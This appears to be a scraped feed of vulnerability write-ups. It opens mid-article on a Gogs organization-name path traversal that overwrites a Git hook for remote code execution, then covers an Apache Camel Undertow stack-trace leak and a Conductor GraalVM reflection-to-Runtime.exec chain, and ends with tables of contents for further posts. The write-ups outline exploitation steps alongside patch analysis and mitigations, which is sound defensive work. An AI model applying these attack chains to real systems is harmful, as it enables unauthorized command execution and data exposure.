The key issue here is that org.Name is passed straight into os.MkdirAll. org.Name is simply the organization-name string a user submits in an API request, and there was no filtering for path-traversal sequences (../) applied to it.

UserPath and RepositoryPath are the functions that actually build the storage path, and in the vulnerable version they're extremely simple:

filepath.Join will happily "normalize" a relative path segment like ../, but it won't block it. If you set owner to ../../../../tmp/test, filepath.Join just computes it as-is and returns /tmp/test — a path that sits above conf.Repository.Root entirely.

To summarize:

Organization name = ../../../../tmp/test
Creating a repository under this “organization” actually creates a Git bare repo (xxx.git) at /tmp/test on the server, well outside the Gogs repository root.

That alone already gives an attacker arbitrary path write access. But the truly dangerous part of this vulnerability is one step further: it can also be used to overwrite a Git hook file.

3. From Path Traversal to RCE: Git Hooks and the local-r Directory

When a user edits a file through the web editor, Gogs clones the repository the user is viewing into a local working copy on the server, and handles commit/push operations inside it. That temporary clone path looks roughly like this:

This directory is, in effect, “a directory Git can freely read and write to.” And a Git bare repository’s hooks/update script is a shell script that the server automatically executes every time a push comes in.

Here’s the attacker’s plan:

Create an ordinary repository (writer) that you own, and find its internal repository ID (say, 1).
Using that ID, create a new organization whose name is a path-traversal string:

Create a new repository (rce) under this "organization." Because of the traversal, it actually gets created at nested/rce.git inside writer's local working copy.
Clone writer locally, create a nested/rce.git/hooks/update file containing a malicious Bash script, and push it to writer. (From writer's perspective, this looks like an entirely ordinary commit that just adds one file.)
Touch the rce repository again (e.g., via an API call) to trigger execution of that hooks/update script.
The server executes the attacker’s Bash commands under the git account's privileges.

In other words, t*he “organization” built via path traversal, and the “repository” created under it, actually resolve to another repository’s hook directory* — and the attacker can rewrite that hook script’s contents using nothing more than the normal file-editing feature (web editor / commit). The actual PoC run ends with a command executed under server privileges, as shown below:

Since anyone can register and create an organization by default, this attack requires no admin privileges and no social engineering whatsoever. Just two API calls (create org + create repo) plus an ordinary commit/push is all it takes to complete an RCE chain.

Figure 1. The 5-step exploitation flow for CVE-2026–52813

① The attacker creates an ordinary repository (writer) and identifies its internal repository ID → ② A path-traversal string containing that ID is used as the organization name to create a new organization → ③ Creating a repository under that organization actually places it inside writer's local working copy (local-r/{ID}) → ④ The hooks/update file at that location is swapped for a malicious script disguised as an ordinary commit/push → ⑤ Touching the repository again triggers the hook, executing commands under the git account. The final step, shown in dark navy, is where the actual RCE occurs.

4. Patch Analysis
The Gogs team addressed this in 0.14.3 at three points.

*4–1. Introducing a Path-Normalization Function *(internal/repox/repox.go)

The newly added pathx.Clean() strips (or rejects) path-traversal elements like ../ from user/organization names and repository names. Where the code previously relied on filepath.Join alone, it now adds an extra layer that validates the input itself.

*4–2. Stricter Input Validation on the Organization Name *(internal/route/api/v1/org.go)

Previously, the only constraint on the organization name was that it be “required.” After the patch, AlphaDashDot (letters, digits, dashes, and dots only) and MaxSize(35) (a 35-character cap) were added. This means an organization name containing characters like / or .. is now rejected at the API layer before it ever reaches the filesystem code.

In other words, the patch consists of two layers: “input validation (allow-list based)” and “defense built into the path-construction function itself.” If one layer fails, the other still catches it. This kind of defense-in-depth is a good pattern to keep in mind when designing your own security patches.

Figure 2. The defense-in-depth structure of the patch

When user input (organization/repository name) comes in, the first layer — API-level AlphaDashDot + MaxSize(35) validation — filters out disallowed characters and excessive length. Even if there were a way to bypass that first layer, the second layer — pathx.Clean() in repox.go — strips traversal elements again at the moment the actual path is constructed. With only one of these layers in place, a bypass would remain possible; with both layered together, only a safe path is ever produced, even if one layer is defeated.

5. Key Takeaway (Developer’s Perspective)

Boiled down to the code level, this vulnerability has a single root cause:

A string the user fully controls was used directly in constructing a filesystem path.

filepath.Join only "normalizes" a path — it does nothing to stop .. from escaping the intended parent directory. Whenever a file path is built from user input, you should apply at least one of the following:

Apply an allow-list of permitted characters to the input (letters, digits, and a small set of special characters only)
After building the path, check for the presence of .., or verify (via a prefix check) that the final path actually falls under the intended root directory
Where possible, map user input to an internal identifier (a UUID, for example) instead of using it directly as a file or directory name

Gogs’s own patch ultimately follows exactly this principle, combining a character allow-list (AlphaDashDot) with a path-sanitization function (pathx.Clean).

6. Mitigation

Upgrade to Gogs 0.14.3 or later immediately.
If an immediate upgrade isn’t feasible, as a temporary measure, consider disabling user registration / organization creation, or restricting it to trusted users only.
It’s also worth separately auditing whether other API paths (invitations, migrations, etc.) could bypass the organization-name filtering.

[CVE-2026-56139] Apache Camel Undertow Component — Sensitive Information Exposure via Error Messages

GUIDANCE WHITE — Tue, 28 Jul 2026 08:17:32 +0000

1. Overview

Field Detail
CVE ID : CVE-2026-56139
Classification : CWE-209 (Generation of Error Message Containing Sensitive Information)
Affected component : camel-undertow (Apache Camel)
Affected versions: 4.0.0–4.14.7 / 4.15.0–4.18.2 / 4.19.0–4.20.x
Fixed in : 4.14.8 / 4.18.3 / 4.21.0
Disclosed : 2026-07-06

Apache Camel is an integration framework used to connect different systems. camel-undertow is the component that builds HTTP endpoints on top of the lightweight Undertow web server.

This CVE doesn't require any novel exploitation technique. It's a case where a single misconfigured default value leaks internal server information without any special manipulation at all.

2. Safe Behavior vs. Vulnerable Behavior

Camel's HTTP server consumers use a muteException option to decide whether an exception thrown during route processing should be shown to the client.

muteException = true → the exception is suppressed; only an empty response is returned (safe)
muteException = false → the full exception stack trace is written directly into the response body (dangerous)

The issue was the default value of this option. camel-http, camel-jetty, camel-servlet, and camel-platform-http all default to true — but camel-undertow alone defaulted to false.

In other words, if a developer used camel-undertow without explicitly setting muteException, the service was unknowingly running in "exception-exposing" mode.

3. Source Code Analysis

3-1. Normal Route Flow

Here's a conceptual reconstruction of how UndertowConsumer handles an incoming request:

// UndertowConsumer processing flow (conceptual reconstruction)
try {
    exchange = createExchange(httpExchange);
    processor.process(exchange);   // route logic runs here; exception may be thrown
} catch (Exception e) {
    if (!muteException) {
        // default is false, so execution falls into this branch
        httpExchange.getResponseSender().send(getStackTraceAsString(e));
    } else {
        httpExchange.setStatusCode(500);
        // response body stays empty
    }
}

The core issue is that a single boolean flag, muteException, decides whether the exception gets exposed — and that flag's initial value was set incorrectly. This is the primary root cause.

3-2. The Bigger Problem — Rest DSL Ignores the Setting Entirely

This is where it gets worse. When using Camel's Rest DSL (defining REST APIs with the rest() syntax), response handling goes through a separate class called RestUndertowHttpBinding, and this class constructs itself with muteException hardcoded to false.

// RestUndertowHttpBinding constructor (conceptual reconstruction)
public class RestUndertowHttpBinding extends DefaultUndertowHttpBinding {
    public RestUndertowHttpBinding() {
        // muteException is fixed to false regardless of user configuration
        super(false);
    }
}

This is serious because operators who explicitly set the option like below still weren't protected:

undertow:http://0.0.0.0:8080/api?muteException=true

You could believe you'd already secured your endpoint, while the REST-specific code path never even reads that setting. That makes this a much more dangerous class of bug than an ordinary "wrong default" mistake.

4. Attack Scenario

All an attacker needs is a request that triggers an exception somewhere inside the route logic:

Sending a malformed request body
Omitting a required parameter or sending the wrong type
Sending input that trips up internal logic (a failed DB lookup, a null-pointer condition, etc.)

Any one of these is enough to get a full stack trace back in the response, like:

java.lang.NullPointerException: Cannot invoke "String.length()" ...
    at com.company.internal.OrderService.validate(OrderService.java:142)
    at com.company.internal.OrderService.process(OrderService.java:88)
    at org.apache.camel.processor.CamelInternalProcessor...
Caused by: java.sql.SQLException: Access denied for user 'admin'@'10.0.2.15'
    ...

5. What Can Leak in a Stack Trace

Credential fragments embedded in exception messages
Internal hostnames and private IP ranges
Server filesystem paths
Library and version information (useful for chaining with other CVEs)
Class names, package structure, and internal application architecture

It's not remote code execution by itself, but it's a large chunk of reconnaissance data that significantly shortens an attacker's path to further exploitation.

6. Mitigation

Immediate action (before patching)
For normal routes, explicitly set muteException=true:
undertow:http://0.0.0.0:8080/api?muteException=true

or set it globally via a property:
camel.component.undertow.mute-exception=true

However, if you're using Rest DSL, this alone will not fully protect you — because of the hardcoded bug described above.

Root-cause fix (recommended)
Stream in use Upgrade to
Latest 4.21.0
4.14.x LTS 4.14.8
4.18.x 4.18.3

CVE-2026-58138

GUIDANCE WHITE — Sun, 26 Jul 2026 09:07:38 +0000

1. CVE-2026-58138
An Unauthenticated Remote Code Execution (RCE) vulnerability in the GraalVM script evaluator of Orkes/OSS Conductor.

Conductor is a workflow orchestration engine that allows users to execute user-defined JavaScript and Python expressions within INLINE tasks. The root cause of this vulnerability lies in a misconfiguration within this execution engine.

Target Software: Orkes/OSS Conductor 3.21.21 ~ 3.30.1
Patched Version: 3.30.2 (Commits 87a7d96, c691e35)
Vulnerability Class: CWE-94 (Code Injection) — Unenforced GraalVM Polyglot Sandbox
CVSS Score: 9.8 (Critical)

2. Technical Analysis
Conductor utilizes the GraalVM Polyglot Context to execute scripts within INLINE tasks. In versions 3.29.x and lower, the script evaluator (ScriptEvaluator class) configures host access policy as follows when instantiating the context:

HostAccess.ALL permits the JavaScript engine unrestricted access to all methods and fields of Java host objects. While GraalVM natively provides sandboxing policies (e.g., HostAccess.EXPLICIT) that block reflection or arbitrary class loading by default, Conductor completely disabled these protections for convenience.

A similar flaw exists in the Python evaluator:

Reflection Chain — Why It Is Critical
An INLINE task binds the task input value to the JavaScript variable $. Since $ is a native Java object, an attacker can leverage Java Reflection starting from this variable to reach arbitrary classes.

An attacker reaches the Java Runtime in just four steps from the $ object:

Call getClass() to obtain the java.lang.Class meta-object.
Load an arbitrary class via Class.forName("java.lang.Runtime").
Invoke Runtime.getRuntime().exec(...) to execute OS shell commands directly.

Under the HostAccess.ALL policy, this entire chain executes without any restriction.

Exploit Flow
Public Proof-of-Concept (PoC) exploits complete unauthenticated attacks via three main steps:

Register Workflow — POST /api/metadata/workflow Embed reflection payload into the 'expression' field of the INLINE task. ↓
Execute Workflow — POST /api/workflow/{name} GraalVM engine evaluates the script and triggers the payload execution. ↓
Extract Results — Check stdout in task output Retrieve Runtime.exec execution results returned in the 'result' field.

Verified Impact
Based on public PoC repositories, successful exploitation was verified against the vulnerable conductoross/conductor:3.22.3 image, returning uid=0(root). Considering that the Conductor process typically runs with elevated privileges, exploiting this single vulnerability can lead to:

Complete compromise of the workflow engine
Unauthorized access to connected datastores (Redis, PostgreSQL, Elasticsearch, etc.)
Lateral movement into downstream systems triggered by workflows

Version Differences — Why Patching Was Delayed Until 3.30.2

~ 3.29.x: Retained allowHostAccess(HostAccess.ALL) — Completely defenseless.
3.30.0 ~ 3.30.1: Introduced a blocklist against specific reflection classes — Incomplete patch that remained bypassable.
3.30.2: Applied allowHostClassLoading(false) + Hardened the core execution engine — Fully patched.

3. Attack Demonstration (Proof of Concept)

4. Remediation & Mitigation
Immediate Action: Upgrade Software
Upgrade to Conductor 3.30.2 or higher. Starting from version 3.30.2, the JavaScript and Python evaluators operate with host access and class loading strictly disabled by default.

Defense in Depth
To minimize operational risks and protect against similar vectors, implement the following security best practices:

Enforce Authentication & Access Control: Deploy an authentication gateway (e.g., OAuth 2.0, API Key validation) in front of public/community APIs to restrict unauthorized access.

Principle of Least Privilege: Run the Conductor application process under a non-root, dedicated service account with minimal permissions rather than elevated privileges.

Network-Level Segregation: Restrict access to workflow registration and execution endpoints (/api/metadata/workflow, /api/workflow) using network-level ACLs or firewall rules.

Are Your Firewalls Safe The FortiBleed & CVE-2025-25257 Threat

GUIDANCE WHITE — Fri, 03 Jul 2026 02:51:28 +0000

No login required? The ultimate bypasses for Fortinet firewalls 🔓
From the infamous 'FortiBleed' to the Pre-Auth SQL Injection that shattered FortiWeb (CVE-2025-25257). Watch this 1-minute hands-on lab video to see how these critical exploits actually work. Is your firmware fully patched? Check it now!

DEV Community: GUIDANCE WHITE

CVE-2026-33017: Langflow Unauthenticated Remote Code Execution

1. CVE-2026-33017

2. The Vulnerable Feature: "Public Flow"

3. The Real Problem: Untrusted Input on a Trusted Path

4. Tracing the Code Path

5. Attack Requirements

6. Mitigation

EasyStore (Joomla) filter_sortby Pre-Authentication SQL Injection (CVE-2026-65761)

1. Overview of CVE-2026-65761

2. Why the Sort Direction Is Dangerous

3. The Vulnerable Flow, in Code

4. Attack Flow

5. Remediation

CVE-2026-34486 Analysis — Apache Tomcat EncryptInterceptor Bypass

Table of Contents

Summary at a Glance

Background: Relation to CVE-2026-29146

Root Cause Analysis (Source Code)

Vulnerable version (after the CVE-2026-29146 patch)

Fixed version (conceptual structure after the patch)

Attack Flow

Impact & Severity

Affected Versions

Mitigation

Conclusion

CVE-2026-65971: A Complete Walkthrough of the Livewire PowerGrid sortDirection SQL Injection

1. The attack surface — a public Livewire property is user input

2. The vulnerable sink — the placeholder naturalSort() plants

The full taint chain

3. The interesting part — how Laravel's own validation got bypassed

4. The actual attack request

5. Proof — two independent verification techniques

Error-based proof

Blind time-based oracle

6. Patch analysis (v6.10.4)

7. Remediation

Checking exposure

Detection signals

CVE-2026-64600 "RefluXFS" — Rooting Linux Through an XFS Race Condition (Explained in Code)

TL;DR

Why This One Needs Code to Understand

The Correct CoW Write Path (Pseudocode)

What the Kernel Actually Does: It Drops the Lock Midway

How an Attacker Exploits That Window

Why This Leads All the Way to Root

Why Existing Defenses Don't Stop It

Conditions for Exposure (all three must apply)

Mitigation

Summary

References

CVE-2026–52813: Remote Code Execution via Organization-Name Path Traversal in Gogs

1. Overview

2. Where It Starts: Missing Validation on the Organization Name

3. From Path Traversal to RCE: Git Hooks and the local-r Directory

5. Key Takeaway (Developer’s Perspective)

6. Mitigation

[CVE-2026-56139] Apache Camel Undertow Component — Sensitive Information Exposure via Error Messages

1. Overview

2. Safe Behavior vs. Vulnerable Behavior

3. Source Code Analysis

4. Attack Scenario

5. What Can Leak in a Stack Trace

6. Mitigation

CVE-2026-58138

Are Your Firewalls Safe The FortiBleed & CVE-2025-25257 Threat

2. The vulnerable sink — the placeholder `naturalSort()` plants